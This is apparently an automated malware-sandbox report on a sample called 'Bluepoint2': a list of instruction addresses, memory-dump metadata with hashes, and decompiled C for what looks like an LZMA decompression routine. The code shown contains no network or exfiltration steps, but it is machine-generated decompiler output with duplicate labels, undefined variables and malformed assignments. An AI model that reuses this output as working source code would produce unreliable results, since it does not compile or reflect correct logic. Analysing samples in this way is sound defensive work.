                                                    0x00406d39
                                                    0x00406d3f
                                                    0x00406d42
                                                    0x00406d4f
                                                    0x00406d57
                                                    0x00000000
                                                    0x00000000
                                                    0x00406d0e
                                                    0x00406d0e
                                                    0x00406d12
                                                    0x0040755d
                                                    0x00000000
                                                    0x0040755d
                                                    0x00406d1e
                                                    0x00406d29
                                                    0x00406d29
                                                    0x00406d29
                                                    0x00406d2c
                                                    0x00406d2f
                                                    0x00406d32
                                                    0x00406d37
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00406d5f
                                                    0x00406d61
                                                    0x00406d64
                                                    0x00406dd5
                                                    0x00406dd8
                                                    0x00406ddb
                                                    0x00406de2
                                                    0x00406dec
                                                    0x00000000
                                                    0x00406dec
                                                    0x00406d66
                                                    0x00406d6a
                                                    0x00406d6d
                                                    0x00406d6f
                                                    0x00406d72
                                                    0x00406d75
                                                    0x00406d77
                                                    0x00406d7a
                                                    0x00406d7c
                                                    0x00406d81
                                                    0x00406d84
                                                    0x00406d87
                                                    0x00406d8b
                                                    0x00406d92
                                                    0x00406d95
                                                    0x00406d9c
                                                    0x00406da0
                                                    0x00406da8
                                                    0x00406da8
                                                    0x00406da8
                                                    0x00406da2
                                                    0x00406da2
                                                    0x00406da2
                                                    0x00406d97
                                                    0x00406d97
                                                    0x00406d97
                                                    0x00406dac
                                                    0x00406daf
                                                    0x00406dcd
                                                    0x00406dcf
                                                    0x00000000
                                                    0x00406db1
                                                    0x00406db1
                                                    0x00406db4
                                                    0x00406db7
                                                    0x00406dba
                                                    0x00406dbc
                                                    0x00406dbc
                                                    0x00406dbc
                                                    0x00406dbf
                                                    0x00406dc2
                                                    0x00406dc4
                                                    0x00406dc5
                                                    0x00406dc8
                                                    0x00000000
                                                    0x00406dc8
                                                    0x00000000
                                                    0x00406ffe
                                                    0x00407002
                                                    0x00407020
                                                    0x00407023
                                                    0x0040702a
                                                    0x0040702d
                                                    0x00407030
                                                    0x00407033
                                                    0x00407036
                                                    0x00407039
                                                    0x0040703b
                                                    0x00407042
                                                    0x00407043
                                                    0x00407045
                                                    0x00407048
                                                    0x0040704b
                                                    0x0040704e
                                                    0x0040704e
                                                    0x00407053
                                                    0x00000000
                                                    0x00407053
                                                    0x00407004
                                                    0x00407007
                                                    0x0040700a
                                                    0x00407014
                                                    0x00000000
                                                    0x00000000
                                                    0x00407068
                                                    0x0040706c
                                                    0x0040708f
                                                    0x00407092
                                                    0x00407095
                                                    0x0040709f
                                                    0x0040706e
                                                    0x0040706e
                                                    0x00407071
                                                    0x00407074
                                                    0x00407077
                                                    0x00407084
                                                    0x00407087
                                                    0x00407087
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x0040711c
                                                    0x00407120
                                                    0x00407127
                                                    0x0040712a
                                                    0x0040712d
                                                    0x00407137
                                                    0x00000000
                                                    0x00407137
                                                    0x00407122
                                                    0x00000000
                                                    0x00000000
                                                    0x00407143
                                                    0x00407147
                                                    0x0040714e
                                                    0x00407151
                                                    0x00407154
                                                    0x00407149
                                                    0x00407149
                                                    0x00407149
                                                    0x00407157
                                                    0x0040715a
                                                    0x0040715d
                                                    0x0040715d
                                                    0x00407160
                                                    0x00407163
                                                    0x00000000
                                                    0x00000000
                                                    0x00407203
                                                    0x00407203
                                                    0x00407207
                                                    0x004075a5
                                                    0x00000000
                                                    0x004075a5
                                                    0x0040720d
                                                    0x00407210
                                                    0x00407213
                                                    0x00407217
                                                    0x0040721a
                                                    0x00407220
                                                    0x00407222
                                                    0x00407222
                                                    0x00407222
                                                    0x00407225
                                                    0x00407228
                                                    0x00000000
                                                    0x00000000
                                                    0x00406df8
                                                    0x00406df8
                                                    0x00406dfc
                                                    0x00407569
                                                    0x00000000
                                                    0x00407569
                                                    0x00406e02
                                                    0x00406e05
                                                    0x00406e08
                                                    0x00406e0c
                                                    0x00406e0f
                                                    0x00406e15
                                                    0x00406e17
                                                    0x00406e17
                                                    0x00406e17
                                                    0x00406e1a
                                                    0x00406e1d
                                                    0x00406e1d
                                                    0x00406e20
                                                    0x00406e23
                                                    0x00000000
                                                    0x00000000
                                                    0x00406e29
                                                    0x00406e2f
                                                    0x00000000
                                                    0x00000000
                                                    0x00406e35
                                                    0x00406e35
                                                    0x00406e39
                                                    0x00406e3c
                                                    0x00406e3f
                                                    0x00406e42
                                                    0x00406e45
                                                    0x00406e46
                                                    0x00406e49
                                                    0x00406e4b
                                                    0x00406e51
                                                    0x00406e54
                                                    0x00406e57
                                                    0x00406e5a
                                                    0x00406e5d
                                                    0x00406e60
                                                    0x00406e63
                                                    0x00406e7f
                                                    0x00406e82
                                                    0x00406e85
                                                    0x00406e88
                                                    0x00406e8f
                                                    0x00406e93
                                                    0x00406e95
                                                    0x00406e99
                                                    0x00406e65
                                                    0x00406e65
                                                    0x00406e69
                                                    0x00406e71
                                                    0x00406e76
                                                    0x00406e78
                                                    0x00406e7a
                                                    0x00406e7a
                                                    0x00406e9c
                                                    0x00406ea3
                                                    0x00406ea6
                                                    0x00000000
                                                    0x00406eac
                                                    0x00000000
                                                    0x00406eac
                                                    0x00000000
                                                    0x00406eb1
                                                    0x00406eb1
                                                    0x00406eb5
                                                    0x00407575
                                                    0x00000000
                                                    0x00407575
                                                    0x00406ebb
                                                    0x00406ebe
                                                    0x00406ec1
                                                    0x00406ec5
                                                    0x00406ec8
                                                    0x00406ece
                                                    0x00406ed0
                                                    0x00406ed0
                                                    0x00406ed0
                                                    0x00406ed3
                                                    0x00406ed6
                                                    0x00406ed6
                                                    0x00406ed6
                                                    0x00406edc
                                                    0x00000000
                                                    0x00000000
                                                    0x00406ede
                                                    0x00406ee1
                                                    0x00406ee4
                                                    0x00406ee7
                                                    0x00406eea
                                                    0x00406eed
                                                    0x00406ef0
                                                    0x00406ef3
                                                    0x00406ef6
                                                    0x00406ef9
                                                    0x00406efc
                                                    0x00406f14
                                                    0x00406f17
                                                    0x00406f1a
                                                    0x00406f1d
                                                    0x00406f1d
                                                    0x00406f20
                                                    0x00406f24
                                                    0x00406f26
                                                    0x00406efe
                                                    0x00406efe
                                                    0x00406f06
                                                    0x00406f0b
                                                    0x00406f0d
                                                    0x00406f0f
                                                    0x00406f0f
                                                    0x00406f29
                                                    0x00406f30
                                                    0x00406f33
                                                    0x00000000
                                                    0x00406f35
                                                    0x00000000
                                                    0x00406f35
                                                    0x00406f33
                                                    0x00406f3a
                                                    0x00406f3a
                                                    0x00406f3a
                                                    0x00406f3a
                                                    0x00000000
                                                    0x00000000
                                                    0x00406f75
                                                    0x00406f75
                                                    0x00406f79
                                                    0x00407581
                                                    0x00000000
                                                    0x00407581
                                                    0x00406f7f
                                                    0x00406f82
                                                    0x00406f85
                                                    0x00406f89
                                                    0x00406f8c
                                                    0x00406f92
                                                    0x00406f94
                                                    0x00406f94
                                                    0x00406f94
                                                    0x00406f97
                                                    0x00406f9a
                                                    0x00406f9a
                                                    0x00406fa0
                                                    0x00406f3e
                                                    0x00406f3e
                                                    0x00406f41
                                                    0x00000000
                                                    0x00406f41
                                                    0x00406fa2
                                                    0x00406fa2
                                                    0x00406fa5
                                                    0x00406fa8
                                                    0x00406fab
                                                    0x00406fae
                                                    0x00406fb1
                                                    0x00406fb4
                                                    0x00406fb7
                                                    0x00406fba
                                                    0x00406fbd
                                                    0x00406fc0
                                                    0x00406fd8
                                                    0x00406fdb
                                                    0x00406fde
                                                    0x00406fe1
                                                    0x00406fe1
                                                    0x00406fe4
                                                    0x00406fe8
                                                    0x00406fea
                                                    0x00406fc2
                                                    0x00406fc2
                                                    0x00406fca
                                                    0x00406fcf
                                                    0x00406fd1
                                                    0x00406fd3
                                                    0x00406fd3
                                                    0x00406fed
                                                    0x00406ff4
                                                    0x00406ff7
                                                    0x00000000
                                                    0x00406ff9
                                                    0x00000000
                                                    0x00406ff9
                                                    0x00000000
                                                    0x00407286
                                                    0x00407286
                                                    0x0040728a
                                                    0x004075b1
                                                    0x00000000
                                                    0x004075b1
                                                    0x00407290
                                                    0x00407293
                                                    0x00407296
                                                    0x0040729a
                                                    0x0040729d
                                                    0x004072a3
                                                    0x004072a5
                                                    0x004072a5
                                                    0x004072a5
                                                    0x004072a8
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00407395
                                                    0x00407399
                                                    0x004073bb
                                                    0x004073be
                                                    0x004073c8
                                                    0x00000000
                                                    0x004073c8
                                                    0x0040739b
                                                    0x0040739e
                                                    0x004073a2
                                                    0x004073a5
                                                    0x004073a5
                                                    0x004073a8
                                                    0x00000000
                                                    0x00000000
                                                    0x00407452
                                                    0x00407456
                                                    0x00407474
                                                    0x00407474
                                                    0x00407474
                                                    0x0040747b
                                                    0x00407482
                                                    0x00407489
                                                    0x00407489
                                                    0x00000000
                                                    0x00407489
                                                    0x00407458
                                                    0x0040745b
                                                    0x0040745e
                                                    0x00407461
                                                    0x00407468
                                                    0x004073ac
                                                    0x004073ac
                                                    0x004073af
                                                    0x00000000
                                                    0x00000000
                                                    0x00407543
                                                    0x00407546
                                                    0x00000000
                                                    0x00000000
                                                    0x0040717d
                                                    0x0040717f
                                                    0x00407186
                                                    0x00407187
                                                    0x00407189
                                                    0x0040718c
                                                    0x00000000
                                                    0x00000000
                                                    0x00407194
                                                    0x00407197
                                                    0x0040719a
                                                    0x0040719c
                                                    0x0040719e
                                                    0x0040719e
                                                    0x0040719f
                                                    0x004071a2
                                                    0x004071a9
                                                    0x004071ac
                                                    0x004071ba
                                                    0x00000000
                                                    0x00000000
                                                    0x00407490
                                                    0x00407490
                                                    0x00407493
                                                    0x0040749a
                                                    0x00000000
                                                    0x00000000
                                                    0x0040749f
                                                    0x0040749f
                                                    0x004074a3
                                                    0x004075db
                                                    0x00000000
                                                    0x004075db
                                                    0x004074a9
                                                    0x004074ac
                                                    0x004074af
                                                    0x004074b3
                                                    0x004074b6
                                                    0x004074bc
                                                    0x004074be
                                                    0x004074be
                                                    0x004074be
                                                    0x004074c1
                                                    0x004074c4
                                                    0x004074c4
                                                    0x004074c4
                                                    0x004074c4
                                                    0x004074c7
                                                    0x004074c7
                                                    0x004074cb
                                                    0x0040752b
                                                    0x0040752e
                                                    0x00407533
                                                    0x00407534
                                                    0x00407536
                                                    0x00407538
                                                    0x0040753b
                                                    0x00000000
                                                    0x0040753b
                                                    0x004074cd
                                                    0x004074d3
                                                    0x004074d6
                                                    0x004074d9
                                                    0x004074dc
                                                    0x004074df
                                                    0x004074e2
                                                    0x004074e5
                                                    0x004074e8
                                                    0x004074eb
                                                    0x004074ee
                                                    0x00407507
                                                    0x0040750a
                                                    0x0040750d
                                                    0x00407510
                                                    0x00407514
                                                    0x00407516
                                                    0x00407516
                                                    0x00407517
                                                    0x0040751a
                                                    0x004074f0
                                                    0x004074f0
                                                    0x004074f8
                                                    0x004074fd
                                                    0x004074ff
                                                    0x00407502
                                                    0x00407502
                                                    0x0040751d
                                                    0x00407524
                                                    0x00000000
                                                    0x00407526
                                                    0x00000000
                                                    0x00407526
                                                    0x00000000
                                                    0x004071c2
                                                    0x004071c5
                                                    0x004071fb
                                                    0x0040732b
                                                    0x0040732b
                                                    0x0040732b
                                                    0x0040732b
                                                    0x0040732e
                                                    0x0040732e
                                                    0x00407331
                                                    0x00407333
                                                    0x004075bd
                                                    0x00000000
                                                    0x004075bd
                                                    0x00407339
                                                    0x0040733c
                                                    0x00000000
                                                    0x00000000
                                                    0x00407342
                                                    0x00407346
                                                    0x00407349
                                                    0x00407349
                                                    0x00407349
                                                    0x00000000
                                                    0x00407349
                                                    0x004071c7
                                                    0x004071c9
                                                    0x004071cb
                                                    0x004071cd
                                                    0x004071d0
                                                    0x004071d1
                                                    0x004071d3
                                                    0x004071d5
                                                    0x004071d8
                                                    0x004071db
                                                    0x004071f1
                                                    0x004071f6
                                                    0x0040722e
                                                    0x0040722e
                                                    0x00407232
                                                    0x0040725e
                                                    0x00407260
                                                    0x00407267
                                                    0x0040726a
                                                    0x0040726d
                                                    0x0040726d
                                                    0x00407272
                                                    0x00407272
                                                    0x00407274
                                                    0x00407277
                                                    0x0040727e
                                                    0x00407281
                                                    0x004072ae
                                                    0x004072ae
                                                    0x004072b1
                                                    0x004072b4
                                                    0x00407328
                                                    0x00407328
                                                    0x00407328
                                                    0x00000000
                                                    0x00407328
                                                    0x004072b6
                                                    0x004072bc
                                                    0x004072bf
                                                    0x004072c2
                                                    0x004072c5
                                                    0x004072c8
                                                    0x004072cb
                                                    0x004072ce
                                                    0x004072d1
                                                    0x004072d4
                                                    0x004072d7
                                                    0x004072f0
                                                    0x004072f2
                                                    0x004072f5
                                                    0x004072f6
                                                    0x004072f9
                                                    0x004072fb
                                                    0x004072fe
                                                    0x00407300
                                                    0x00407302
                                                    0x00407305
                                                    0x00407307
                                                    0x0040730a
                                                    0x0040730e
                                                    0x00407310
                                                    0x00407310
                                                    0x00407311
                                                    0x00407314
                                                    0x00407317
                                                    0x004072d9
                                                    0x004072d9
                                                    0x004072e1
                                                    0x004072e6
                                                    0x004072e8
                                                    0x004072eb
                                                    0x004072eb
                                                    0x0040731a
                                                    0x00407321
                                                    0x004072ab
                                                    0x004072ab
                                                    0x004072ab
                                                    0x004072ab
                                                    0x00000000
                                                    0x00407323
                                                    0x00000000
                                                    0x00407323
                                                    0x00407321
                                                    0x00407234
                                                    0x00407237
                                                    0x00407239
                                                    0x0040723c
                                                    0x0040723f
                                                    0x00407242
                                                    0x00407244
                                                    0x00407247
                                                    0x0040724a
                                                    0x0040724a
                                                    0x0040724d
                                                    0x0040724d
                                                    0x00407250
                                                    0x00407257
                                                    0x0040722b
                                                    0x0040722b
                                                    0x0040722b
                                                    0x0040722b
                                                    0x00000000
                                                    0x00407259
                                                    0x00000000
                                                    0x00407259
                                                    0x00407257
                                                    0x004071dd
                                                    0x004071e0
                                                    0x004071e2
                                                    0x004071e5
                                                    0x00000000
                                                    0x00000000
                                                    0x00406f44
                                                    0x00406f44
                                                    0x00406f48
                                                    0x0040758d
                                                    0x00000000
                                                    0x0040758d
                                                    0x00406f4e
                                                    0x00406f51
                                                    0x00406f54
                                                    0x00406f57
                                                    0x00406f5a
                                                    0x00406f5d
                                                    0x00406f60
                                                    0x00406f62
                                                    0x00406f65
                                                    0x00406f68
                                                    0x00406f6b
                                                    0x00406f6d
                                                    0x00406f6d
                                                    0x00406f6d
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x0040734c
                                                    0x0040734c
                                                    0x0040734c
                                                    0x00407350
                                                    0x00000000
                                                    0x00000000
                                                    0x00407356
                                                    0x00407359
                                                    0x0040735c
                                                    0x0040735f
                                                    0x00407361
                                                    0x00407361
                                                    0x00407361
                                                    0x00407364
                                                    0x00407367
                                                    0x0040736a
                                                    0x0040736d
                                                    0x00407370
                                                    0x00407373
                                                    0x00407374
                                                    0x00407376
                                                    0x00407376
                                                    0x00407376
                                                    0x00407379
                                                    0x0040737c
                                                    0x0040737f
                                                    0x00407382
                                                    0x00407385
                                                    0x00407389
                                                    0x0040738b
                                                    0x0040738e
                                                    0x00000000
                                                    0x00407390
                                                    0x00000000
                                                    0x00407390
                                                    0x0040738e
                                                    0x004075c3
                                                    0x00000000
                                                    0x00000000
                                                    0x00406bf2

                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: 93c083d05bcdf6195ca23c2a54f1652f9efbc2f2339d63ff2f761c89645e7c92
                                                    • Instruction ID: 0a676f48c9952aad729ccf503b6a86ce95496029d8c73069f89f3073be052f6e
                                                    • Opcode Fuzzy Hash: 93c083d05bcdf6195ca23c2a54f1652f9efbc2f2339d63ff2f761c89645e7c92
                                                    • Instruction Fuzzy Hash: C3813471D08228DFDF24CFA8C8847ADBBB1FB44305F24816AD456BB281D778A986DF05
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 98%
                                                    			E00406FFE() {
                                                    				signed int _t539;
                                                    				unsigned short _t540;
                                                    				signed int _t541;
                                                    				void _t542;
                                                    				signed int _t543;
                                                    				signed int _t544;
                                                    				signed int _t573;
                                                    				signed int _t576;
                                                    				signed int _t597;
                                                    				signed int* _t614;
                                                    				void* _t621;
                                                    
                                                    				L0:
                                                    				while(1) {
                                                    					L0:
                                                    					if( *(_t621 - 0x40) != 1) {
                                                    						 *((intOrPtr*)(_t621 - 0x80)) = 0x16;
                                                    						 *((intOrPtr*)(_t621 - 0x20)) =  *((intOrPtr*)(_t621 - 0x24));
                                                    						 *((intOrPtr*)(_t621 - 0x24)) =  *((intOrPtr*)(_t621 - 0x28));
                                                    						 *((intOrPtr*)(_t621 - 0x28)) =  *((intOrPtr*)(_t621 - 0x2c));
                                                    						 *(_t621 - 0x38) = ((0 |  *(_t621 - 0x38) - 0x00000007 >= 0x00000000) - 0x00000001 & 0x000000fd) + 0xa;
                                                    						_t539 =  *(_t621 - 4) + 0x664;
                                                    						 *(_t621 - 0x58) = _t539;
                                                    						goto L68;
                                                    					} else {
                                                    						 *(__ebp - 0x84) = 8;
                                                    						while(1) {
                                                    							L132:
                                                    							 *(_t621 - 0x54) = _t614;
                                                    							while(1) {
                                                    								L133:
                                                    								_t540 =  *_t614;
                                                    								_t597 = _t540 & 0x0000ffff;
                                                    								_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
                                                    								if( *(_t621 - 0xc) >= _t573) {
                                                    									 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
                                                    									 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
                                                    									 *(_t621 - 0x40) = 1;
                                                    									_t541 = _t540 - (_t540 >> 5);
                                                    									 *_t614 = _t541;
                                                    								} else {
                                                    									 *(_t621 - 0x10) = _t573;
                                                    									 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
                                                    									 *_t614 = (0x800 - _t597 >> 5) + _t540;
                                                    								}
                                                    								if( *(_t621 - 0x10) >= 0x1000000) {
                                                    									goto L139;
                                                    								}
                                                    								L137:
                                                    								if( *(_t621 - 0x6c) == 0) {
                                                    									 *(_t621 - 0x88) = 5;
                                                    									L170:
                                                    									_t576 = 0x22;
                                                    									memcpy( *(_t621 - 0x90), _t621 - 0x88, _t576 << 2);
                                                    									_t544 = 0;
                                                    									L172:
                                                    									return _t544;
                                                    								}
                                                    								 *(_t621 - 0x10) =  *(_t621 - 0x10) << 8;
                                                    								 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
                                                    								 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
                                                    								 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
                                                    								L139:
                                                    								_t542 =  *(_t621 - 0x84);
                                                    								while(1) {
                                                    									 *(_t621 - 0x88) = _t542;
                                                    									while(1) {
                                                    										L1:
                                                    										_t543 =  *(_t621 - 0x88);
                                                    										if(_t543 > 0x1c) {
                                                    											break;
                                                    										}
                                                    										switch( *((intOrPtr*)(_t543 * 4 +  &M00407602))) {
                                                    											case 0:
                                                    												if( *(_t621 - 0x6c) == 0) {
                                                    													goto L170;
                                                    												}
                                                    												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
                                                    												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
                                                    												_t543 =  *( *(_t621 - 0x70));
                                                    												if(_t543 > 0xe1) {
                                                    													goto L171;
                                                    												}
                                                    												_t547 = _t543 & 0x000000ff;
                                                    												_push(0x2d);
                                                    												asm("cdq");
                                                    												_pop(_t578);
                                                    												_push(9);
                                                    												_pop(_t579);
                                                    												_t617 = _t547 / _t578;
                                                    												_t549 = _t547 % _t578 & 0x000000ff;
                                                    												asm("cdq");
                                                    												_t612 = _t549 % _t579 & 0x000000ff;
                                                    												 *(_t621 - 0x3c) = _t612;
                                                    												 *(_t621 - 0x1c) = (1 << _t617) - 1;
                                                    												 *((intOrPtr*)(_t621 - 0x18)) = (1 << _t549 / _t579) - 1;
                                                    												_t620 = (0x300 << _t612 + _t617) + 0x736;
                                                    												if(0x600 ==  *((intOrPtr*)(_t621 - 0x78))) {
                                                    													L10:
                                                    													if(_t620 == 0) {
                                                    														L12:
                                                    														 *(_t621 - 0x48) =  *(_t621 - 0x48) & 0x00000000;
                                                    														 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
                                                    														goto L15;
                                                    													} else {
                                                    														goto L11;
                                                    													}
                                                    													do {
                                                    														L11:
                                                    														_t620 = _t620 - 1;
                                                    														 *((short*)( *(_t621 - 4) + _t620 * 2)) = 0x400;
                                                    													} while (_t620 != 0);
                                                    													goto L12;
                                                    												}
                                                    												if( *(_t621 - 4) != 0) {
                                                    													GlobalFree( *(_t621 - 4));
                                                    												}
                                                    												_t543 = GlobalAlloc(0x40, 0x600); // executed
                                                    												 *(_t621 - 4) = _t543;
                                                    												if(_t543 == 0) {
                                                    													goto L171;
                                                    												} else {
                                                    													 *((intOrPtr*)(_t621 - 0x78)) = 0x600;
                                                    													goto L10;
                                                    												}
                                                    											case 1:
                                                    												L13:
                                                    												__eflags =  *(_t621 - 0x6c);
                                                    												if( *(_t621 - 0x6c) == 0) {
                                                    													 *(_t621 - 0x88) = 1;
                                                    													goto L170;
                                                    												}
                                                    												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
                                                    												 *(_t621 - 0x40) =  *(_t621 - 0x40) | ( *( *(_t621 - 0x70)) & 0x000000ff) <<  *(_t621 - 0x48) << 0x00000003;
                                                    												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
                                                    												_t45 = _t621 - 0x48;
                                                    												 *_t45 =  *(_t621 - 0x48) + 1;
                                                    												__eflags =  *_t45;
                                                    												L15:
                                                    												if( *(_t621 - 0x48) < 4) {
                                                    													goto L13;
                                                    												}
                                                    												_t555 =  *(_t621 - 0x40);
                                                    												if(_t555 ==  *(_t621 - 0x74)) {
                                                    													L20:
                                                    													 *(_t621 - 0x48) = 5;
                                                    													 *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) =  *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) & 0x00000000;
                                                    													goto L23;
                                                    												}
                                                    												 *(_t621 - 0x74) = _t555;
                                                    												if( *(_t621 - 8) != 0) {
                                                    													GlobalFree( *(_t621 - 8));
                                                    												}
                                                    												_t543 = GlobalAlloc(0x40,  *(_t621 - 0x40)); // executed
                                                    												 *(_t621 - 8) = _t543;
                                                    												if(_t543 == 0) {
                                                    													goto L171;
                                                    												} else {
                                                    													goto L20;
                                                    												}
                                                    											case 2:
                                                    												L24:
                                                    												_t562 =  *(_t621 - 0x60) &  *(_t621 - 0x1c);
                                                    												 *(_t621 - 0x84) = 6;
                                                    												 *(_t621 - 0x4c) = _t562;
                                                    												_t614 =  *(_t621 - 4) + (( *(_t621 - 0x38) << 4) + _t562) * 2;
                                                    												goto L132;
                                                    											case 3:
                                                    												L21:
                                                    												__eflags =  *(_t621 - 0x6c);
                                                    												if( *(_t621 - 0x6c) == 0) {
                                                    													 *(_t621 - 0x88) = 3;
                                                    													goto L170;
                                                    												}
                                                    												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
                                                    												_t67 = _t621 - 0x70;
                                                    												 *_t67 =  &(( *(_t621 - 0x70))[1]);
                                                    												__eflags =  *_t67;
                                                    												 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
                                                    												L23:
                                                    												 *(_t621 - 0x48) =  *(_t621 - 0x48) - 1;
                                                    												if( *(_t621 - 0x48) != 0) {
                                                    													goto L21;
                                                    												}
                                                    												goto L24;
                                                    											case 4:
                                                    												L133:
                                                    												_t540 =  *_t614;
                                                    												_t597 = _t540 & 0x0000ffff;
                                                    												_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
                                                    												if( *(_t621 - 0xc) >= _t573) {
                                                    													 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
                                                    													 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
                                                    													 *(_t621 - 0x40) = 1;
                                                    													_t541 = _t540 - (_t540 >> 5);
                                                    													 *_t614 = _t541;
                                                    												} else {
                                                    													 *(_t621 - 0x10) = _t573;
                                                    													 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
                                                    													 *_t614 = (0x800 - _t597 >> 5) + _t540;
                                                    												}
                                                    												if( *(_t621 - 0x10) >= 0x1000000) {
                                                    													goto L139;
                                                    												}
                                                    											case 5:
                                                    												goto L137;
                                                    											case 6:
                                                    												__edx = 0;
                                                    												__eflags =  *(__ebp - 0x40);
                                                    												if( *(__ebp - 0x40) != 0) {
                                                    													__eax =  *(__ebp - 4);
                                                    													__ecx =  *(__ebp - 0x38);
                                                    													 *(__ebp - 0x34) = 1;
                                                    													 *(__ebp - 0x84) = 7;
                                                    													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
                                                    													L132:
                                                    													 *(_t621 - 0x54) = _t614;
                                                    													goto L133;
                                                    												}
                                                    												__eax =  *(__ebp - 0x5c) & 0x000000ff;
                                                    												__esi =  *(__ebp - 0x60);
                                                    												__cl = 8;
                                                    												__cl = 8 -  *(__ebp - 0x3c);
                                                    												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
                                                    												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
                                                    												__ecx =  *(__ebp - 0x3c);
                                                    												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
                                                    												__ecx =  *(__ebp - 4);
                                                    												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
                                                    												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
                                                    												__eflags =  *(__ebp - 0x38) - 4;
                                                    												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                    												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                    												if( *(__ebp - 0x38) >= 4) {
                                                    													__eflags =  *(__ebp - 0x38) - 0xa;
                                                    													if( *(__ebp - 0x38) >= 0xa) {
                                                    														_t98 = __ebp - 0x38;
                                                    														 *_t98 =  *(__ebp - 0x38) - 6;
                                                    														__eflags =  *_t98;
                                                    													} else {
                                                    														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
                                                    													}
                                                    												} else {
                                                    													 *(__ebp - 0x38) = 0;
                                                    												}
                                                    												__eflags =  *(__ebp - 0x34) - __edx;
                                                    												if( *(__ebp - 0x34) == __edx) {
                                                    													__ebx = 0;
                                                    													__ebx = 1;
                                                    													goto L61;
                                                    												} else {
                                                    													__eax =  *(__ebp - 0x14);
                                                    													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                    													__eflags = __eax -  *(__ebp - 0x74);
                                                    													if(__eax >=  *(__ebp - 0x74)) {
                                                    														__eax = __eax +  *(__ebp - 0x74);
                                                    														__eflags = __eax;
                                                    													}
                                                    													__ecx =  *(__ebp - 8);
                                                    													__ebx = 0;
                                                    													__ebx = 1;
                                                    													__al =  *((intOrPtr*)(__eax + __ecx));
                                                    													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
                                                    													goto L41;
                                                    												}
                                                    											case 7:
                                                    												goto L0;
                                                    											case 8:
                                                    												__eflags =  *(__ebp - 0x40);
